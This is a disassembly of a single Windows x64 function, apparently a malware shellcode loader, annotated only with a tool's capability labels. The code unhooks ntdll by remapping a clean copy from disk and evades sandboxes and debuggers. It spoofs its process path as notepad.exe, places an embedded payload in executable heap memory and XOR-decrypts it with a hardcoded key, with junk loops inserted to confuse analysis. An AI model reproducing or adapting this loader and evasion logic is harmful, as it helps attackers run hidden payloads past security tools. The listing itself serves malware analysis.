Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x8d0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x840], xmm6
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002cf0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x838], rax
cmp qword [rbp + 0x838], 0
je 0x1400019bd
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x7a8]
mov r10, qword [rbp + 0x838]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x794], 1
mov ecx, 0xde8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x830], 2
jmp 0x140001612
mov rax, qword [rbp + 0x830]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x830], 1
cmp qword [rbp + 0x830], 0x379
jbe 0x1400015eb
mov qword [rbp + 0x830], 2
jmp 0x1400016a9
mov rax, qword [rbp + 0x830]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400016a1
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x828], rax
jmp 0x14000168a
mov rax, qword [rbp + 0x830]
imul rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x828], 1
mov rax, qword [rbp + 0x830]
imul rax, qword [rbp + 0x828]
cmp rax, 0x379
jbe 0x14000165b
add qword [rbp + 0x830], 1
cmp qword [rbp + 0x830], 0x379
jbe 0x14000162c
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov qword [rbp + 0x768], rax
mov word [rbp + 0x826], 0
jmp 0x1400019a5
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x768]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x826]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001994
mov dword [rbp + 0x598], 0
mov ecx, 0x8c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0x8c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x81c], 0x22f
mov dword [rbp + 0x820], 0
jmp 0x14000189f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x22f
jle 0x140001812
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x826]
add eax, 1
mov word [rbp + 0x826], ax
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 6]
cmp word [rbp + 0x826], ax
jb 0x140001773
mov dword [rbp + 0x818], 0xffffffff
mov ecx, 0x1c50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006620]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm1, qword [0x140006628]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movq xmm1, qword [0x140006630]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x818], 0x388
jle 0x1400019d8
mov ecx, 0x6ba0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x73c], 1
mov dword [rbp + 0x810], 0
jmp 0x140001b34
mov dword [rbp + 0x80c], 0
jmp 0x140001b24
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x810]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x740]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x51
jle 0x140001abe
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x53
jle 0x140001ab2
mov dword [rbp + 0x810], 0
jmp 0x140001bb1
mov dword [rbp + 0x80c], 0
jmp 0x140001ba1
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x740]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001b9a
add dword [rbp + 0x814], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x51
jle 0x140001b59
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x53
jle 0x140001b4d
cmp dword [rbp + 0x814], 0xd74
je 0x140001bd0
mov dword [rbp + 0x73c], 0
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x59c], 0
mov rax, qword [rbp + 0x7b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x724], 0
mov ecx, 0x1188
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov ecx, 0x1188
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x710], rax
mov ecx, 0x1188
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x808], 0
jmp 0x140001d72
mov dword [rbp + 0x804], 0
jmp 0x140001d5e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x718]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x710]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x32
jle 0x140001cad
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x15
jle 0x140001c9e
mov dword [rbp + 0x808], 0
jmp 0x140001e49
mov dword [rbp + 0x804], 0
jmp 0x140001e35
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x718]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x710]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003ce0
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x708]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x32
jle 0x140001d9d
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x15
jle 0x140001d8e
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x710]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x34c
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002c1e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ec], eax
cmp dword [rbp + 0x6ec], 0xffffffff
je 0x140002c1e
mov dword [rbp + 0x6e8], 0x268
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6e8]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x236
jbe 0x140002c1e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x14000205c
mov rax, qword [rbp + 0x6d0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x800], eax
cmp dword [rbp + 0x800], 0xffffffff
je 0x140002c1e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x1400020c2
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x7fc], eax
cmp dword [rbp + 0x7fc], 0xffffffff
je 0x140002c1e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ac], eax
cmp dword [rbp + 0x6ac], 0xffffffff
je 0x140002c1e
mov dword [rbp + 0x594], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x594]
mov r8, qword [rbp + 0x6a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x594]
cmp eax, 1
je 0x140002c1e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x140002c1e
mov rax, qword [rbp + 0x698]
mov edx, 0x5a3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x694], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov ecx, 0
call rax
mov dword [rbp + 0x684], eax
cmp dword [rbp + 0x684], 0xffffffff
je 0x140002c1e
mov qword [rbp + 0x678], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x466fa80
mov ecx, 0
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x140002c1e
mov rax, qword [rbp + 0x678]
mov edx, 0x466fa80
mov rcx, rax
call fcn.140003ff0
mov rax, qword [rbp + 0x678]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0xb0]
lea rdx, [0x140006148]
mov ecx, 0x9a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x668]
mov r8d, 0
mov edx, 0x4d6
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
mov r8d, 0x4d6
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x4d6
mov rcx, rax
call r9
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x644], 1
mov ecx, 0x7c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov qword [rbp + 0x7e8], 2
jmp 0x140002445
mov rax, qword [rbp + 0x7e8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x7e8], 1
cmp qword [rbp + 0x7e8], 0x1f0
jbe 0x14000241e
mov qword [rbp + 0x7e8], 2
jmp 0x1400024dc
mov rax, qword [rbp + 0x7e8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400024d4
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x7e0], rax
jmp 0x1400024bd
mov rax, qword [rbp + 0x7e8]
imul rax, qword [rbp + 0x7e0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x638]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x7e0], 1
mov rax, qword [rbp + 0x7e8]
imul rax, qword [rbp + 0x7e0]
cmp rax, 0x1f0
jbe 0x14000248e
add qword [rbp + 0x7e8], 1
cmp qword [rbp + 0x7e8], 0x1f0
jbe 0x14000245f
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x792efae1c1ae6d0d
movabs rdx, 0xb15caf2de6c1d98b
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x892a9e3b9ec6a196
movabs rdx, 0x6c179ebbc2899dc5
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x4fddcff07906fba9
movabs rdx, 0xcf1735a59f68d88e
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xbffc020d8183bd28
movabs rdx, 0x7e65f9f3c27ec667
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x6a70f0637d980b5
movabs rdx, 0x8549767fdc5b1a5f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x9e4402cfdb854976
movabs rdx, 0x1ba3d7855570ea
mov qword [rbp + 0x9d], rax
mov qword [rbp + 0xa5], rdx
movabs rax, 0x41c9d09e9582578d
movabs rdx, 0x4d95ed624eac14c
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x566ea3b4c15588e4
movabs rdx, 0x97cdc284b55a6e00
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x2f8241bcdd6801dd
movabs rdx, 0x3e4d1576cefe5f4a
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x57e17538b72ff081
movabs rdx, 0x23f576fb53a33dac
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov byte [rbp + 0x40], 0
jmp 0x14000293c
mov ecx, 0xf78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7dc], 0
jmp 0x140002699
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7dc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x3dd
jle 0x14000264c
mov dword [rbp + 0x7dc], 0
jmp 0x1400027b1
mov dword [rbp + 0x5f0], 0
jmp 0x140002793
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x5f0]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000278c
mov eax, dword [rbp + 0x5f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x7dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, dword [rbp + 0x5f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x5f0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rdx, rax
mov eax, dword [rbp + 0x5ec]
mov dword [rdx], eax
add dword [rbp + 0x7dc], 1
mov eax, 0x3dd
sub eax, dword [rbp + 0x7dc]
cmp dword [rbp + 0x5f0], eax
jl 0x1400026c3
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x3dd
jle 0x1400026b4
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax + 0x50]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax - 0x40], dl
mov qword [rbp + 0x7d0], 0
mov dword [rbp + 0x604], 0x364
mov dword [rbp + 0x7d8], 1
jmp 0x14000282f
mov eax, dword [rbp + 0x7d8]
cdqe
add qword [rbp + 0x7d0], rax
add dword [rbp + 0x7d8], 1
mov eax, dword [rbp + 0x7d8]
cmp eax, dword [rbp + 0x604]
jle 0x140002819
cmp dword [rbp + 0x7f4], 0x5b
jne 0x140002855
mov dword [rbp + 0x7f4], 0
jmp 0x140002935
mov ecx, 0x3b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x7c8], 0
mov dword [rbp + 0x5f4], 0
mov dword [rbp + 0x7cc], 0
jmp 0x1400028d2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0xeb
jle 0x140002886
mov dword [rbp + 0x7cc], 0
jmp 0x140002913
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7c8], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0xeb
jle 0x1400028ea
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f8]
cmp eax, 0x3f
jbe 0x14000262f
mov dword [rbp + 0x7f8], 0
jmp 0x140002b85
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0xc30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
